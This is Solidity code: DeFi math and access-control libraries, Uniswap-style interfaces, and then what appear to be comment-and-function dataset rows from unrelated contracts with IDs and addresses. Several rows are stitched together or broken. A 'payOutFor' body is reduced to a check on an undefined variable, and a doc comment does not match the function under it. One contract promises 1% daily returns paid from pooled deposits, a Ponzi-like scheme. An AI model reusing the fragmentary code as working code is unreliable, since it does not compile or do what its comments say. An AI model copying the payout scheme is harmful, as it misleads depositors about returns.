uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } function to16(uint256 a) internal pure returns (uint16 c) { require(a <= uint16(-1), "BoringMath: uint16 Overflow"); c = uint16(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath16 { function add(uint16 a, uint16 b) internal pure returns (uint16 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint16 a, uint16 b) internal pure returns (uint16 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } pragma solidity 0.6.12; import './interfaces/IUniswapV2Pair.sol'; import "./libraries/SafeMath.sol"; library UniswapV2Library { using SafeMathUniswap for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB, bytes32 pairCodeHash) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB, bytes32 pairCodeHash) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path, bytes32 pairCodeHash) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path, bytes32 pairCodeHash) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } pragma solidity 0.6.12; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity 0.6.12; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function pairCodeHash() external pure returns (bytes32); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } pragma solidity 0.6.12; import "./IERC20.sol"; interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint) external; function transfer(address, uint) external returns (bool); } pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transferFrom( address from, address to, uint256 amount ) external returns (bool); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } pragma solidity 0.6.12; interface IMisoAuction { function initAuction( address _funder, address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address _operator, address _pointList, address payable _wallet ) external; function auctionSuccessful() external view returns (bool); function finalized() external view returns (bool); function wallet() external view returns (address); function paymentCurrency() external view returns (address); function auctionToken() external view returns (address); function finalize() external; function tokenPrice() external view returns (uint256); function getTotalTokens() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.6.12; import "../OpenZeppelin/access/AccessControl.sol"; contract MISOAdminAccess is AccessControl { /// @dev Whether access is initialised. bool private initAccess; /// @notice The deployer is automatically given the admin role which will allow them to then grant roles to other addresses. constructor() public { } /** * @notice Initializes access controls. * @param _admin Admins address. */ function initAccessControls(address _admin) public { require(!initAccess, "Already initialised"); require(_admin != address(0), "Incorrect input"); _setupRole(DEFAULT_ADMIN_ROLE, _admin); initAccess = true; } ///////////// // Lookups // ///////////// /** * @notice Used to check whether an address has the admin role. * @param _address EOA or contract being checked. * @return bool True if the account has the role or false if it does not. */ function hasAdminRole(address _address) public view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, _address); } /////////////// // Modifiers // /////////////// /** * @notice Grants the admin role to an address. * @dev The sender must have the admin role. * @param _address EOA or contract receiving the new role. */ function addAdminRole(address _address) external { grantRole(DEFAULT_ADMIN_ROLE, _address); } /** * @notice Removes the admin role from an address. * @dev The sender must have the admin role. * @param _address EOA or contract affected. */ function removeAdminRole(address _address) external { revokeRole(DEFAULT_ADMIN_ROLE, _address); } } pragma solidity 0.6.12; import "../utils/EnumerableSet.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity 0.6.12; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity =0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } }
Gets the number of first token deposited into this contract. return uint256 Number of WETH./
function getToken1Balance() public view returns (uint256) { return token1.balanceOf(address(this)); }
82,034
./partial_match/1/0xe76D0D6425223433A7C49761545254E648e0DC03/sources/ZOGZ.sol
once enabled, can never be turned off
function activateTrading() external onlyOwner { tradingLive = true; swapEnabled = true; launchedAt = block.number; }
4,047,106
pragma solidity ^0.4.0; contract GameEthContractV1{ address owner; mapping (address => uint256) deposits; mapping (address => uint256) totalPaid; mapping (address => uint256) paydates; mapping (address => uint256) notToPay; uint minWei = 40000000000000000; // default 0.04 ether uint secInDay = 86400; // min payment step 1 day (in seconds) uint gasForPayout = 50000; // gas used for payout uint lastBlockTime; uint inCommission = 3; // deposit commission 3% event DepositIn( address indexed _from, uint256 _value, uint256 _date ); event PayOut( address indexed _from, uint256 _value, uint256 _date ); constructor(address _owner) public { owner = _owner; lastBlockTime = now; } // Payable method, payouts for message sender function () public payable{ require(now >= lastBlockTime && msg.value >= minWei); // last block time < block.timestamp, check min deposit lastBlockTime = now; // set last block time to block.timestamp uint256 com = msg.value/100*inCommission; // 3% commission uint256 amount = msg.value - com; // deposit amount is amount - commission if (deposits[msg.sender] > 0){ // repeating payment uint256 daysGone = (now - paydates[msg.sender]) / secInDay; // days gone before this payment, and not included in next payout notToPay[msg.sender] += amount/100*daysGone; // keep amount that does not have to be paid }else{ // new payment paydates[msg.sender] = now; // set paydate to block.timestamp } deposits[msg.sender] += amount; // update deposit amount emit DepositIn(msg.sender, msg.value, now); // emit deposit in event owner.transfer(com); // transfer commission to contract owner } // Payable method, payout will be paid to specific address function depositForRecipent(address payoutAddress) public payable{ require(now >= lastBlockTime && msg.value >= minWei); // last block time < block.timestamp, check min deposit lastBlockTime = now; // set last block time to block.timestamp uint256 com = msg.value/100*inCommission; // 3% commission uint256 amount = msg.value - com; // deposit amount is amount - commission if (deposits[payoutAddress] > 0){ // repeating payment uint256 daysGone = (now - paydates[payoutAddress]) / secInDay; // days gone before this payment, and not included in next payout notToPay[payoutAddress] += amount/100*daysGone; // keep amount that does not have to be paid }else{ // new payment paydates[payoutAddress] = now; // set paydate to block.timestamp } deposits[payoutAddress] += amount; // update deposit amount emit DepositIn(payoutAddress, msg.value, now); // emit deposit in event owner.transfer(com); // transfer commission to contract owner } // transfer ownership function transferOwnership(address newOwnerAddress) public { require (msg.sender == owner); // check function called by contract owner owner = newOwnerAddress; } // function used by client direct calls, for direct contract interaction, gas paid by function caller in this case function payOut() public { require(deposits[msg.sender] > 0); // check is message sender deposited an funds require(paydates[msg.sender] < now); // check is lastPayDate < block.timestamp uint256 payForDays = (now - paydates[msg.sender]) / secInDay; // days from last payment require(payForDays >= 30); pay(msg.sender,false,payForDays); // don't withdraw tx gass fee, because fee paid by function caller } // function used by contrcat owner for automatic payouts from representative site // gas price paid by contract owner and because of that gasPrice will be withdrawn from payout amount function payOutFor(address _recipient) public { require(msg.sender == owner && deposits[_recipient] > 0); // check is message sender is contract owner and recipients was deposited funds require(paydates[_recipient] < now); // check is lastPayDate < block.timestamp uint256 payForDays = (now - paydates[_recipient]) / secInDay; // days from last payment require(payForDays >= 30); pay(_recipient, true,payForDays); // pay with withdraw tx gas fee because fee paid by contract owner } function pay(address _recipient, bool calcGasPrice,uint256 payForDays) private { uint256 payAmount = 0; payAmount = deposits[_recipient]/100*payForDays - notToPay[_recipient]; // calculate payout one percent per day - amount that does not have to be paid if (payAmount >= address(this).balance){ payAmount = address(this).balance; } assert(payAmount > 0); // check is pay amount > 0 and payAmount <= contract balance if (calcGasPrice){ // if calcGasPrice calculate tx gas price to cover transaction fee uint256 com = gasForPayout * tx.gasprice; // fixed gas per tx * tx.gasprice assert(com < payAmount); // commission must be < pay amount payAmount = payAmount - com; // remaining pay amount = pay amount - commission owner.transfer(com); // withdraw tx gas fee to contract owner } paydates[_recipient] = now; // update last pay date to block.timestamp _recipient.transfer(payAmount); // transfer funds to recipient totalPaid[_recipient] += payAmount; // update total paid amount notToPay[_recipient] = 0; // clear not to pay amount emit PayOut(_recipient, payAmount, now); // emit event } function totalDepositOf(address _sender) public constant returns (uint256 deposit) { return deposits[_sender]; } function lastPayDateOf(address _sender) public constant returns (uint256 secFromEpoch) { return paydates[_sender]; } function totalPaidOf(address _sender) public constant returns (uint256 paid) { return totalPaid[_sender]; } }
function used by contrcat owner for automatic payouts from representative site gas price paid by contract owner and because of that gasPrice will be withdrawn from payout amount
function payOutFor(address _recipient) public { require(payForDays >= 30); }
13,040,947
./partial_match/1/0x9A93a421b74F1c5755b83dD2C211614dC419C44b/sources/src/LBRouter.sol
Swaps tokens for exact NATIVE while performing safety checks amountNATIVEOut The amount of NATIVE to receive amountInMax The max amount of token to send path The path of the swap to The address of the recipient deadline The deadline of the tx return amountsIn path amounts for every step of the swap/
function swapTokensForExactNATIVE( uint256 amountNATIVEOut, uint256 amountInMax, Path memory path, address payable to, uint256 deadline ) external override ensure(deadline) verifyPathValidity(path) returns (uint256[] memory amountsIn) { if (path.tokenPath[path.pairBinSteps.length] != IERC20(_wnative)) { revert LBRouter__InvalidTokenPath(address(path.tokenPath[path.pairBinSteps.length])); } address[] memory pairs = _getPairs(path.pairBinSteps, path.versions, path.tokenPath); amountsIn = _getAmountsIn(path.versions, pairs, path.tokenPath, amountNATIVEOut); if (amountsIn[0] > amountInMax) revert LBRouter__MaxAmountInExceeded(amountInMax, amountsIn[0]); path.tokenPath[0].safeTransferFrom(msg.sender, pairs[0], amountsIn[0]); uint256 _amountOutReal = _swapTokensForExactTokens(pairs, path.versions, path.tokenPath, amountsIn, address(this)); if (_amountOutReal < amountNATIVEOut) revert LBRouter__InsufficientAmountOut(amountNATIVEOut, _amountOutReal); _wnative.withdraw(_amountOutReal); _safeTransferNATIVE(to, _amountOutReal); }
9,304,497
./partial_match/1/0x2F66C5aAF006Bd9c51615D617589C16c0ed35fD3/sources/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol
Accrue interest for a token, change storage
function accrueInterest(address token) public { (assetInfo[token].totalBorrows, assetInfo[token].totalReserves, assetInfo[token].borrowIndex, assetInfo[token].accrualTime) = accrueInterestForRead(token); }
4,285,638
./full_match/1/0x5349E94435Cc9Cab9FfB40A492DA46935052733A/sources/cache/solpp-generated-contracts/zksync/Plonk4VerifierWithAccessToDNext.sol
VerificationKey memory vk, q(x) = f(x) - f(z) / (x - z) q(x) (x-z) = f(x) - f(z) f(x) - f(z)g +z q(x) rhs Pairing precompile expects points to be in a `ix[1] + x[0]` form instead of `x[0] + ix[1]` so we handle it in code generation step
function final_pairing( PairingsBn254.G2Point[NUM_G2_ELS] memory g2_elements, Proof memory proof, PartialVerifierState memory state, PairingsBn254.G1Point memory aggregated_commitment_at_z, PairingsBn254.G1Point memory aggregated_commitment_at_z_omega, PairingsBn254.Fr memory aggregated_opening_at_z, PairingsBn254.Fr memory aggregated_opening_at_z_omega ) internal view returns (bool) { PairingsBn254.G1Point memory pair_with_generator = aggregated_commitment_at_z.copy_g1(); aggregated_commitment_at_z_omega.point_mul_assign(state.u); pair_with_generator.point_add_assign(aggregated_commitment_at_z_omega); PairingsBn254.Fr memory aggregated_value = aggregated_opening_at_z_omega.copy(); aggregated_value.mul_assign(state.u); aggregated_value.add_assign(aggregated_opening_at_z); PairingsBn254.G1Point memory tp = PairingsBn254.P1().point_mul(aggregated_value); pair_with_generator.point_sub_assign(tp); tp = proof.opening_proof_at_z.point_mul(state.z); PairingsBn254.Fr memory t = state.z_omega.copy(); t.mul_assign(state.u); PairingsBn254.G1Point memory t1 = proof.opening_proof_at_z_omega.point_mul(t); tp.point_add_assign(t1); pair_with_generator.point_add_assign(tp); PairingsBn254.G1Point memory pair_with_x = proof.opening_proof_at_z_omega.point_mul(state.u); pair_with_x.point_add_assign(proof.opening_proof_at_z); pair_with_x.negate(); PairingsBn254.G2Point memory first_g2 = g2_elements[0]; PairingsBn254.G2Point memory second_g2 = g2_elements[1]; return PairingsBn254.pairingProd2(pair_with_generator, first_g2, pair_with_x, second_g2); }
3,023,115
./partial_match/1/0x58C4eBd1289d5d601061ed61B92E3b11E62Fba7B/sources/Token.sol
See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowancess[sender][msg.sender] - amount); }
3,609,302
./partial_match/1/0xfC8bfD0Fd762EC4acaEffe4b6F8987D5259D3137/sources/contracts/Bridge/Polygon/FxCustomERC20RootTunnel.sol
map token if not mapped
function deposit( address rootToken, address user, uint256 amount, bytes memory data ) public { if (rootToChildTokens[rootToken] == address(0x0)) { revert('FxERC20RootTunnel: NOT_MAPPED'); } amount ); _sendMessageToChild(message); emit FxDepositERC20(rootToken, msg.sender, user, amount); }
2,836,826
./full_match/1/0x3363BAe2Fc44dA742Df13CD3ee94b6bB868ea376/sources/contracts/CErc20.sol
